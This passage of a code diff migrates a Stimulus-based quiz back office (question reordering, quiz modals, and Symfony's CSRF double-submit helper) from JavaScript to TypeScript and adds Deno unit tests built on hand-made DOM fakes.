if (!event.relatedTarget || !this.listTarget.contains(event.relatedTarget)) {
|
|
||||||
this._removePlaceholder();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async drop(event) {
|
|
||||||
event.preventDefault();
|
|
||||||
if (!this._dragging || !this._placeholder || this._locked) return;
|
|
||||||
this.listTarget.insertBefore(this._dragging, this._placeholder);
|
|
||||||
this._removePlaceholder();
|
|
||||||
await this._persistOrder();
|
|
||||||
}
|
|
||||||
|
|
||||||
_removePlaceholder() {
|
|
||||||
if (this._placeholder) {
|
|
||||||
this._placeholder.remove();
|
|
||||||
this._placeholder = null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
_setStatus(state) {
|
|
||||||
if (!this.hasStatusTarget) return;
|
|
||||||
const el = this.statusTarget;
|
|
||||||
el.classList.remove('d-none', 'text-bg-success', 'text-bg-danger', 'text-bg-warning');
|
|
||||||
if (state === 'saving') {
|
|
||||||
el.classList.add('text-bg-warning');
|
|
||||||
el.textContent = '…';
|
|
||||||
} else if (state === 'saved') {
|
|
||||||
el.classList.add('text-bg-success');
|
|
||||||
el.textContent = this.savedLabelValue || 'Saved';
|
|
||||||
} else if (state === 'error') {
|
|
||||||
el.classList.add('text-bg-danger');
|
|
||||||
el.textContent = this.errorLabelValue || 'Error';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
async _persistOrder() {
|
|
||||||
this._setStatus('saving');
|
|
||||||
|
|
||||||
const params = new URLSearchParams();
|
|
||||||
params.append('_token', this.csrfValue);
|
|
||||||
this.itemTargets.forEach((el, i) => {
|
|
||||||
params.append('ordering[]', el.dataset.questionId);
|
|
||||||
const numberEl = el.querySelector('[data-question-number]');
|
|
||||||
if (numberEl) numberEl.textContent = String(i + 1);
|
|
||||||
});
|
|
||||||
|
|
||||||
for (let attempt = 0; attempt < 2; attempt++) {
|
|
||||||
try {
|
|
||||||
const res = await fetch(this.reorderUrlValue, {method: 'POST', body: params});
|
|
||||||
if (res.ok) {
|
|
||||||
this._setStatus('saved');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
} catch {
|
|
||||||
// network error — retry on first attempt
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
this._locked = true;
|
|
||||||
this._setStatus('error');
|
|
||||||
|
|
||||||
const alert = document.createElement('div');
|
|
||||||
alert.className = 'alert alert-danger alert-dismissible mt-3';
|
|
||||||
alert.setAttribute('role', 'alert');
|
|
||||||
const hint = this.errorHintValue || 'Refresh the page to try again.';
|
|
||||||
alert.innerHTML = `${this.errorLabelValue || 'Error saving order'} — ${hint} <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>`;
|
|
||||||
this.listTarget.after(alert);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,161 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
|
||||||
|
type Status = 'saving' | 'saved' | 'error';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['list', 'item', 'status'];
|
||||||
|
static values = {
|
||||||
|
reorderUrl: String,
|
||||||
|
csrf: String,
|
||||||
|
savedLabel: String,
|
||||||
|
errorLabel: String,
|
||||||
|
errorHint: String,
|
||||||
|
};
|
||||||
|
|
||||||
|
declare readonly listTarget: HTMLElement;
|
||||||
|
declare readonly itemTargets: HTMLElement[];
|
||||||
|
declare readonly statusTarget: HTMLElement;
|
||||||
|
declare readonly hasStatusTarget: boolean;
|
||||||
|
|
||||||
|
declare readonly reorderUrlValue: string;
|
||||||
|
declare readonly csrfValue: string;
|
||||||
|
declare readonly savedLabelValue: string;
|
||||||
|
declare readonly errorLabelValue: string;
|
||||||
|
declare readonly errorHintValue: string;
|
||||||
|
|
||||||
|
_locked = false;
|
||||||
|
_dragging: HTMLElement | null = null;
|
||||||
|
_placeholder: HTMLDivElement | null = null;
|
||||||
|
|
||||||
|
connect(): void {
|
||||||
|
this._locked = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
dragStart(event: DragEvent): void {
|
||||||
|
const item = (event.currentTarget as HTMLElement).closest<HTMLElement>(
|
||||||
|
'[data-bo--question-list-target="item"]',
|
||||||
|
);
|
||||||
|
this._dragging = item;
|
||||||
|
event.dataTransfer!.effectAllowed = 'move';
|
||||||
|
setTimeout(() => item?.classList.add('opacity-50'), 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
dragEnd(event: DragEvent): void {
|
||||||
|
const item = (event.currentTarget as HTMLElement).closest<HTMLElement>(
|
||||||
|
'[data-bo--question-list-target="item"]',
|
||||||
|
);
|
||||||
|
item?.classList.remove('opacity-50');
|
||||||
|
this._dragging = null;
|
||||||
|
this._removePlaceholder();
|
||||||
|
}
|
||||||
|
|
||||||
|
dragOver(event: DragEvent): void {
|
||||||
|
event.preventDefault();
|
||||||
|
if (!this._dragging) return;
|
||||||
|
event.dataTransfer!.dropEffect = 'move';
|
||||||
|
|
||||||
|
const target = (event.target as HTMLElement).closest<HTMLElement>(
|
||||||
|
'[data-bo--question-list-target="item"]',
|
||||||
|
);
|
||||||
|
if (!target || target === this._dragging) return;
|
||||||
|
|
||||||
|
const rect = target.getBoundingClientRect();
|
||||||
|
const insertBefore = event.clientY > rect.top + rect.height / 2
|
||||||
|
? target.nextSibling
|
||||||
|
: target;
|
||||||
|
|
||||||
|
if (!this._placeholder) {
|
||||||
|
this._placeholder = document.createElement('div');
|
||||||
|
this._placeholder.className = 'bg-primary rounded mb-2';
|
||||||
|
this._placeholder.style.height = '3px';
|
||||||
|
}
|
||||||
|
|
||||||
|
if (this._placeholder.nextSibling !== insertBefore) {
|
||||||
|
this.listTarget.insertBefore(this._placeholder, insertBefore);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dragLeave(event: DragEvent): void {
|
||||||
|
if (
|
||||||
|
!event.relatedTarget ||
|
||||||
|
!this.listTarget.contains(event.relatedTarget as Node)
|
||||||
|
) {
|
||||||
|
this._removePlaceholder();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async drop(event: DragEvent): Promise<void> {
|
||||||
|
event.preventDefault();
|
||||||
|
if (!this._dragging || !this._placeholder || this._locked) return;
|
||||||
|
this.listTarget.insertBefore(this._dragging, this._placeholder);
|
||||||
|
this._removePlaceholder();
|
||||||
|
await this._persistOrder();
|
||||||
|
}
|
||||||
|
|
||||||
|
_removePlaceholder(): void {
|
||||||
|
if (this._placeholder) {
|
||||||
|
this._placeholder.remove();
|
||||||
|
this._placeholder = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_setStatus(state: Status): void {
|
||||||
|
if (!this.hasStatusTarget) return;
|
||||||
|
const el = this.statusTarget;
|
||||||
|
el.classList.remove(
|
||||||
|
'd-none',
|
||||||
|
'text-bg-success',
|
||||||
|
'text-bg-danger',
|
||||||
|
'text-bg-warning',
|
||||||
|
);
|
||||||
|
if (state === 'saving') {
|
||||||
|
el.classList.add('text-bg-warning');
|
||||||
|
el.textContent = '…';
|
||||||
|
} else if (state === 'saved') {
|
||||||
|
el.classList.add('text-bg-success');
|
||||||
|
el.textContent = this.savedLabelValue || 'Saved';
|
||||||
|
} else if (state === 'error') {
|
||||||
|
el.classList.add('text-bg-danger');
|
||||||
|
el.textContent = this.errorLabelValue || 'Error';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async _persistOrder(): Promise<void> {
|
||||||
|
this._setStatus('saving');
|
||||||
|
|
||||||
|
const params = new URLSearchParams();
|
||||||
|
params.append('_token', this.csrfValue);
|
||||||
|
this.itemTargets.forEach((el, i) => {
|
||||||
|
params.append('ordering[]', el.dataset.questionId ?? '');
|
||||||
|
const numberEl = el.querySelector('[data-question-number]');
|
||||||
|
if (numberEl) numberEl.textContent = String(i + 1);
|
||||||
|
});
|
||||||
|
|
||||||
|
for (let attempt = 0; attempt < 2; attempt++) {
|
||||||
|
try {
|
||||||
|
const res = await fetch(this.reorderUrlValue, {
|
||||||
|
method: 'POST',
|
||||||
|
body: params,
|
||||||
|
});
|
||||||
|
if (res.ok) {
|
||||||
|
this._setStatus('saved');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// network error — retry on first attempt
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
this._locked = true;
|
||||||
|
this._setStatus('error');
|
||||||
|
|
||||||
|
const alert = document.createElement('div');
|
||||||
|
alert.className = 'alert alert-danger alert-dismissible mt-3';
|
||||||
|
alert.setAttribute('role', 'alert');
|
||||||
|
const hint = this.errorHintValue || 'Refresh the page to try again.';
|
||||||
|
alert.innerHTML = `${
|
||||||
|
this.errorLabelValue || 'Error saving order'
|
||||||
|
} — ${hint} <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>`;
|
||||||
|
this.listTarget.after(alert);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,140 @@
|
|||||||
|
import { assertEquals } from '@std/assert';
|
||||||
|
|
||||||
|
// Stimulus's Controller base class constructor only does `this.context = context`,
|
||||||
|
// and target/value getters (listTarget, csrfValue, ...) are normally installed by
|
||||||
|
// Application.register — since we construct the controller directly (no real
|
||||||
|
// Stimulus app), they're assigned here as plain writable properties instead.
|
||||||
|
class FakeClassList {
|
||||||
|
classes = new Set<string>();
|
||||||
|
add(...names: string[]) {
|
||||||
|
names.forEach((n) => this.classes.add(n));
|
||||||
|
}
|
||||||
|
remove(...names: string[]) {
|
||||||
|
names.forEach((n) => this.classes.delete(n));
|
||||||
|
}
|
||||||
|
contains(name: string) {
|
||||||
|
return this.classes.has(name);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function fakeElement() {
|
||||||
|
return {
|
||||||
|
classList: new FakeClassList(),
|
||||||
|
textContent: '',
|
||||||
|
after: () => {},
|
||||||
|
setAttribute: () => {},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
(globalThis as any).document = {
|
||||||
|
createElement: () => ({
|
||||||
|
...fakeElement(),
|
||||||
|
innerHTML: '',
|
||||||
|
}),
|
||||||
|
};
|
||||||
|
|
||||||
|
const { default: QuestionListController } = await import(
|
||||||
|
'./question_list_controller.ts'
|
||||||
|
);
|
||||||
|
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
function makeController(overrides: Record<string, unknown> = {}): any {
|
||||||
|
const controller = new QuestionListController({} as never);
|
||||||
|
return Object.assign(controller, {
|
||||||
|
listTarget: fakeElement(),
|
||||||
|
itemTargets: [],
|
||||||
|
hasStatusTarget: true,
|
||||||
|
statusTarget: fakeElement(),
|
||||||
|
csrfValue: 'csrf-token',
|
||||||
|
reorderUrlValue: '/reorder',
|
||||||
|
savedLabelValue: 'Saved',
|
||||||
|
errorLabelValue: 'Error',
|
||||||
|
errorHintValue: 'Refresh the page.',
|
||||||
|
...overrides,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
Deno.test('_setStatus renders the saving state', () => {
|
||||||
|
const controller = makeController();
|
||||||
|
controller._setStatus('saving');
|
||||||
|
assertEquals(
|
||||||
|
controller.statusTarget.classList.contains('text-bg-warning'),
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
assertEquals(controller.statusTarget.textContent, '…');
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('_setStatus renders the saved state with the configured label', () => {
|
||||||
|
const controller = makeController();
|
||||||
|
controller._setStatus('saved');
|
||||||
|
assertEquals(
|
||||||
|
controller.statusTarget.classList.contains('text-bg-success'),
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
assertEquals(controller.statusTarget.textContent, 'Saved');
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('_setStatus is a no-op when there is no status target', () => {
|
||||||
|
const controller = makeController({ hasStatusTarget: false });
|
||||||
|
controller._setStatus('saving');
|
||||||
|
assertEquals(controller.statusTarget.textContent, '');
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('_persistOrder posts the item ordering and reports success', async () => {
|
||||||
|
const numberEl = { textContent: '' };
|
||||||
|
const item = {
|
||||||
|
dataset: { questionId: '42' },
|
||||||
|
querySelector: () => numberEl,
|
||||||
|
};
|
||||||
|
const controller = makeController({ itemTargets: [item] });
|
||||||
|
|
||||||
|
let requestBody: URLSearchParams | undefined;
|
||||||
|
globalThis.fetch = ((_url: string, init: RequestInit) => {
|
||||||
|
requestBody = init.body as URLSearchParams;
|
||||||
|
return Promise.resolve({ ok: true } as Response);
|
||||||
|
}) as typeof fetch;
|
||||||
|
|
||||||
|
await controller._persistOrder();
|
||||||
|
|
||||||
|
assertEquals(controller._locked, false);
|
||||||
|
assertEquals(
|
||||||
|
controller.statusTarget.classList.contains('text-bg-success'),
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
assertEquals(numberEl.textContent, '1');
|
||||||
|
assertEquals(requestBody?.get('_token'), 'csrf-token');
|
||||||
|
assertEquals(requestBody?.get('ordering[]'), '42');
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('_persistOrder retries once, then locks and shows an error after repeated failure', async () => {
|
||||||
|
const controller = makeController();
|
||||||
|
let calls = 0;
|
||||||
|
globalThis.fetch = (() => {
|
||||||
|
calls++;
|
||||||
|
return Promise.resolve({ ok: false } as Response);
|
||||||
|
}) as typeof fetch;
|
||||||
|
|
||||||
|
await controller._persistOrder();
|
||||||
|
|
||||||
|
assertEquals(calls, 2);
|
||||||
|
assertEquals(controller._locked, true);
|
||||||
|
assertEquals(
|
||||||
|
controller.statusTarget.classList.contains('text-bg-danger'),
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('_persistOrder treats a network error the same as a failed response', async () => {
|
||||||
|
const controller = makeController();
|
||||||
|
globalThis.fetch =
|
||||||
|
(() => Promise.reject(new Error('network down'))) as typeof fetch;
|
||||||
|
|
||||||
|
await controller._persistOrder();
|
||||||
|
|
||||||
|
assertEquals(controller._locked, true);
|
||||||
|
assertEquals(
|
||||||
|
controller.statusTarget.classList.contains('text-bg-danger'),
|
||||||
|
true,
|
||||||
|
);
|
||||||
|
});
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
import {Controller} from '@hotwired/stimulus';
|
|
||||||
import {Tooltip, Modal} from 'bootstrap';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['clearModal', 'deleteModal'];
|
|
||||||
|
|
||||||
connect() {
|
|
||||||
this.tooltips = [];
|
|
||||||
const tooltipTriggerList = this.element.querySelectorAll('[data-bs-toggle="tooltip"]');
|
|
||||||
[...tooltipTriggerList].forEach(tooltipTriggerEl => {
|
|
||||||
this.tooltips.push(Tooltip.getOrCreateInstance(tooltipTriggerEl));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect() {
|
|
||||||
this.tooltips.forEach(tooltip => tooltip.dispose());
|
|
||||||
}
|
|
||||||
|
|
||||||
clearQuiz() {
|
|
||||||
const modal = Modal.getOrCreateInstance(this.clearModalTarget);
|
|
||||||
modal.show();
|
|
||||||
}
|
|
||||||
|
|
||||||
deleteQuiz() {
|
|
||||||
const modal = Modal.getOrCreateInstance(this.deleteModalTarget);
|
|
||||||
modal.show();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
import { Controller } from '@hotwired/stimulus';
|
||||||
|
import { Modal, Tooltip } from 'bootstrap';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['clearModal', 'deleteModal'];
|
||||||
|
|
||||||
|
declare readonly clearModalTarget: HTMLElement;
|
||||||
|
declare readonly deleteModalTarget: HTMLElement;
|
||||||
|
|
||||||
|
tooltips: Tooltip[] = [];
|
||||||
|
|
||||||
|
connect(): void {
|
||||||
|
this.tooltips = [];
|
||||||
|
const tooltipTriggerList = this.element.querySelectorAll(
|
||||||
|
'[data-bs-toggle="tooltip"]',
|
||||||
|
);
|
||||||
|
[...tooltipTriggerList].forEach((tooltipTriggerEl) => {
|
||||||
|
this.tooltips.push(Tooltip.getOrCreateInstance(tooltipTriggerEl));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect(): void {
|
||||||
|
this.tooltips.forEach((tooltip) => tooltip.dispose());
|
||||||
|
}
|
||||||
|
|
||||||
|
clearQuiz(): void {
|
||||||
|
const modal = Modal.getOrCreateInstance(this.clearModalTarget);
|
||||||
|
modal.show();
|
||||||
|
}
|
||||||
|
|
||||||
|
deleteQuiz(): void {
|
||||||
|
const modal = Modal.getOrCreateInstance(this.deleteModalTarget);
|
||||||
|
modal.show();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,81 +0,0 @@
|
|||||||
const nameCheck = /^[-_a-zA-Z0-9]{4,22}$/;
|
|
||||||
const tokenCheck = /^[-_/+a-zA-Z0-9]{24,}$/;
|
|
||||||
|
|
||||||
// Generate and double-submit a CSRF token in a form field and a cookie, as defined by Symfony's SameOriginCsrfTokenManager
|
|
||||||
// Use `form.requestSubmit()` to ensure that the submit event is triggered. Using `form.submit()` will not trigger the event
|
|
||||||
// and thus this event-listener will not be executed.
|
|
||||||
document.addEventListener('submit', function (event) {
|
|
||||||
generateCsrfToken(event.target);
|
|
||||||
}, true);
|
|
||||||
|
|
||||||
// When @hotwired/turbo handles form submissions, send the CSRF token in a header in addition to a cookie
|
|
||||||
// The `framework.csrf_protection.check_header` config option needs to be enabled for the header to be checked
|
|
||||||
document.addEventListener('turbo:submit-start', function (event) {
|
|
||||||
const h = generateCsrfHeaders(event.detail.formSubmission.formElement);
|
|
||||||
Object.keys(h).map(function (k) {
|
|
||||||
event.detail.formSubmission.fetchRequest.headers[k] = h[k];
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// When @hotwired/turbo handles form submissions, remove the CSRF cookie once a form has been submitted
|
|
||||||
document.addEventListener('turbo:submit-end', function (event) {
|
|
||||||
removeCsrfToken(event.detail.formSubmission.formElement);
|
|
||||||
});
|
|
||||||
|
|
||||||
export function generateCsrfToken (formElement) {
|
|
||||||
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
|
|
||||||
|
|
||||||
if (!csrfField) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
let csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
|
|
||||||
let csrfToken = csrfField.value;
|
|
||||||
|
|
||||||
if (!csrfCookie && nameCheck.test(csrfToken)) {
|
|
||||||
csrfField.setAttribute('data-csrf-protection-cookie-value', csrfCookie = csrfToken);
|
|
||||||
csrfField.defaultValue = csrfToken = btoa(String.fromCharCode.apply(null, (window.crypto || window.msCrypto).getRandomValues(new Uint8Array(18))));
|
|
||||||
}
|
|
||||||
csrfField.dispatchEvent(new Event('change', { bubbles: true }));
|
|
||||||
|
|
||||||
if (csrfCookie && tokenCheck.test(csrfToken)) {
|
|
||||||
const cookie = csrfCookie + '_' + csrfToken + '=' + csrfCookie + '; path=/; samesite=strict';
|
|
||||||
document.cookie = window.location.protocol === 'https:' ? '__Host-' + cookie + '; secure' : cookie;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export function generateCsrfHeaders (formElement) {
|
|
||||||
const headers = {};
|
|
||||||
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
|
|
||||||
|
|
||||||
if (!csrfField) {
|
|
||||||
return headers;
|
|
||||||
}
|
|
||||||
|
|
||||||
const csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
|
|
||||||
|
|
||||||
if (tokenCheck.test(csrfField.value) && nameCheck.test(csrfCookie)) {
|
|
||||||
headers[csrfCookie] = csrfField.value;
|
|
||||||
}
|
|
||||||
|
|
||||||
return headers;
|
|
||||||
}
|
|
||||||
|
|
||||||
export function removeCsrfToken (formElement) {
|
|
||||||
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
|
|
||||||
|
|
||||||
if (!csrfField) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
|
|
||||||
|
|
||||||
if (tokenCheck.test(csrfField.value) && nameCheck.test(csrfCookie)) {
|
|
||||||
const cookie = csrfCookie + '_' + csrfField.value + '=0; path=/; samesite=strict; max-age=0';
|
|
||||||
|
|
||||||
document.cookie = window.location.protocol === 'https:' ? '__Host-' + cookie + '; secure' : cookie;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* stimulusFetch: 'lazy' */
|
|
||||||
export default 'csrf-protection-controller';
|
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
const nameCheck = /^[-_a-zA-Z0-9]{4,22}$/;
|
||||||
|
const tokenCheck = /^[-_/+a-zA-Z0-9]{24,}$/;
|
||||||
|
|
||||||
|
interface TurboSubmitEventDetail {
|
||||||
|
formSubmission: {
|
||||||
|
formElement: HTMLFormElement;
|
||||||
|
fetchRequest: { headers: Record<string, string> };
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
const CSRF_FIELD_SELECTOR =
|
||||||
|
'input[data-controller="csrf-protection"], input[name="_csrf_token"]';
|
||||||
|
|
||||||
|
// Generate and double-submit a CSRF token in a form field and a cookie, as defined by Symfony's SameOriginCsrfTokenManager
|
||||||
|
// Use `form.requestSubmit()` to ensure that the submit event is triggered. Using `form.submit()` will not trigger the event
|
||||||
|
// and thus this event-listener will not be executed.
|
||||||
|
document.addEventListener('submit', function (event) {
|
||||||
|
generateCsrfToken(event.target as HTMLFormElement);
|
||||||
|
}, true);
|
||||||
|
|
||||||
|
// When @hotwired/turbo handles form submissions, send the CSRF token in a header in addition to a cookie
|
||||||
|
// The `framework.csrf_protection.check_header` config option needs to be enabled for the header to be checked
|
||||||
|
document.addEventListener('turbo:submit-start', function (event) {
|
||||||
|
const detail = (event as CustomEvent<TurboSubmitEventDetail>).detail;
|
||||||
|
const h = generateCsrfHeaders(detail.formSubmission.formElement);
|
||||||
|
Object.keys(h).forEach(function (k) {
|
||||||
|
detail.formSubmission.fetchRequest.headers[k] = h[k];
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// When @hotwired/turbo handles form submissions, remove the CSRF cookie once a form has been submitted
|
||||||
|
document.addEventListener('turbo:submit-end', function (event) {
|
||||||
|
const detail = (event as CustomEvent<TurboSubmitEventDetail>).detail;
|
||||||
|
removeCsrfToken(detail.formSubmission.formElement);
|
||||||
|
});
|
||||||
|
|
||||||
|
export function generateCsrfToken(formElement: HTMLFormElement): void {
|
||||||
|
const csrfField = formElement.querySelector<HTMLInputElement>(
|
||||||
|
CSRF_FIELD_SELECTOR,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!csrfField) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let csrfCookie = csrfField.getAttribute(
|
||||||
|
'data-csrf-protection-cookie-value',
|
||||||
|
);
|
||||||
|
let csrfToken = csrfField.value;
|
||||||
|
|
||||||
|
if (!csrfCookie && nameCheck.test(csrfToken)) {
|
||||||
|
csrfField.setAttribute(
|
||||||
|
'data-csrf-protection-cookie-value',
|
||||||
|
csrfCookie = csrfToken,
|
||||||
|
);
|
||||||
|
csrfField.defaultValue = csrfToken = btoa(
|
||||||
|
String.fromCharCode.apply(
|
||||||
|
null,
|
||||||
|
Array.from(
|
||||||
|
(window.crypto ||
|
||||||
|
(window as unknown as { msCrypto: Crypto }).msCrypto)
|
||||||
|
.getRandomValues(new Uint8Array(18)),
|
||||||
|
),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
csrfField.dispatchEvent(new Event('change', { bubbles: true }));
|
||||||
|
|
||||||
|
if (csrfCookie && tokenCheck.test(csrfToken)) {
|
||||||
|
const cookie = csrfCookie + '_' + csrfToken + '=' + csrfCookie +
|
||||||
|
'; path=/; samesite=strict';
|
||||||
|
document.cookie = window.location.protocol === 'https:'
|
||||||
|
? '__Host-' + cookie + '; secure'
|
||||||
|
: cookie;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function generateCsrfHeaders(
|
||||||
|
formElement: HTMLFormElement,
|
||||||
|
): Record<string, string> {
|
||||||
|
const headers: Record<string, string> = {};
|
||||||
|
const csrfField = formElement.querySelector<HTMLInputElement>(
|
||||||
|
CSRF_FIELD_SELECTOR,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!csrfField) {
|
||||||
|
return headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
const csrfCookie = csrfField.getAttribute(
|
||||||
|
'data-csrf-protection-cookie-value',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (
|
||||||
|
tokenCheck.test(csrfField.value) && nameCheck.test(String(csrfCookie))
|
||||||
|
) {
|
||||||
|
headers[String(csrfCookie)] = csrfField.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function removeCsrfToken(formElement: HTMLFormElement): void {
|
||||||
|
const csrfField = formElement.querySelector<HTMLInputElement>(
|
||||||
|
CSRF_FIELD_SELECTOR,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!csrfField) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const csrfCookie = csrfField.getAttribute(
|
||||||
|
'data-csrf-protection-cookie-value',
|
||||||
|
);
|
||||||
|
|
||||||
|
if (
|
||||||
|
tokenCheck.test(csrfField.value) && nameCheck.test(String(csrfCookie))
|
||||||
|
) {
|
||||||
|
const cookie = String(csrfCookie) + '_' + csrfField.value +
|
||||||
|
'=0; path=/; samesite=strict; max-age=0';
|
||||||
|
|
||||||
|
document.cookie = window.location.protocol === 'https:'
|
||||||
|
? '__Host-' + cookie + '; secure'
|
||||||
|
: cookie;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* stimulusFetch: 'lazy' */
|
||||||
|
export default 'csrf-protection-controller';
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
import { assertEquals, assertMatch } from '@std/assert';
|
||||||
|
|
||||||
|
// The module under test registers `document.addEventListener(...)` calls at
|
||||||
|
// import time and reads `window.location`/`window.crypto`, so a minimal
|
||||||
|
// `document`/`window` stub must exist in the global scope *before* the module
|
||||||
|
// is imported. Deno has no browser DOM, and the actual surface these
|
||||||
|
// functions touch on a form/input is narrow (getAttribute/setAttribute/value/
|
||||||
|
// dispatchEvent), so hand-built fakes are used instead of a full DOM polyfill.
|
||||||
|
let cookieJar = '';
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
(globalThis as any).document = {
|
||||||
|
addEventListener: () => {},
|
||||||
|
get cookie() {
|
||||||
|
return cookieJar;
|
||||||
|
},
|
||||||
|
set cookie(value: string) {
|
||||||
|
cookieJar += (cookieJar ? '; ' : '') + value;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
(globalThis as any).window = {
|
||||||
|
location: { protocol: 'http:' },
|
||||||
|
crypto: globalThis.crypto,
|
||||||
|
};
|
||||||
|
|
||||||
|
const { generateCsrfHeaders, generateCsrfToken, removeCsrfToken } =
|
||||||
|
await import(
|
||||||
|
'./csrf_protection_controller.ts'
|
||||||
|
);
|
||||||
|
|
||||||
|
function fakeField(attributes: Record<string, string> = {}, value = '') {
|
||||||
|
const store = new Map(Object.entries(attributes));
|
||||||
|
return {
|
||||||
|
getAttribute: (name: string) => store.get(name) ?? null,
|
||||||
|
setAttribute: (name: string, val: string) => {
|
||||||
|
store.set(name, val);
|
||||||
|
},
|
||||||
|
value,
|
||||||
|
defaultValue: value,
|
||||||
|
dispatchEvent: () => true,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// deno-lint-ignore no-explicit-any
|
||||||
|
function fakeForm(field: ReturnType<typeof fakeField> | null): any {
|
||||||
|
return { querySelector: () => field };
|
||||||
|
}
|
||||||
|
|
||||||
|
Deno.test('generateCsrfToken does nothing when the form has no csrf field', () => {
|
||||||
|
cookieJar = '';
|
||||||
|
generateCsrfToken(fakeForm(null));
|
||||||
|
assertEquals(cookieJar, '');
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('generateCsrfToken generates a token and cookie on first use', () => {
|
||||||
|
cookieJar = '';
|
||||||
|
const field = fakeField({}, 'my_field_name');
|
||||||
|
|
||||||
|
generateCsrfToken(fakeForm(field));
|
||||||
|
|
||||||
|
assertEquals(
|
||||||
|
field.getAttribute('data-csrf-protection-cookie-value'),
|
||||||
|
'my_field_name',
|
||||||
|
);
|
||||||
|
assertMatch(field.defaultValue, /^[-_/+a-zA-Z0-9]{24,}$/);
|
||||||
|
assertMatch(cookieJar, /my_field_name_[-_/+a-zA-Z0-9]{24,}=my_field_name/);
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('generateCsrfToken keeps an existing valid token/cookie pair unchanged', () => {
|
||||||
|
cookieJar = '';
|
||||||
|
const token = 'a'.repeat(24);
|
||||||
|
const field = fakeField({
|
||||||
|
'data-csrf-protection-cookie-value': 'existing_name',
|
||||||
|
}, token);
|
||||||
|
|
||||||
|
generateCsrfToken(fakeForm(field));
|
||||||
|
|
||||||
|
assertEquals(field.value, token);
|
||||||
|
assertMatch(cookieJar, new RegExp(`existing_name_${token}=existing_name`));
|
||||||
|
});
|
||||||
|
|
||||||
|
Deno.test('generateCsrfHeaders returns empty headers without a csrf field', () => {
|
||||||
|
assertEquals(generateCsrfHeaders(fakeForm(null)), {});
|
||||||
|
});
|
||||||
|
|
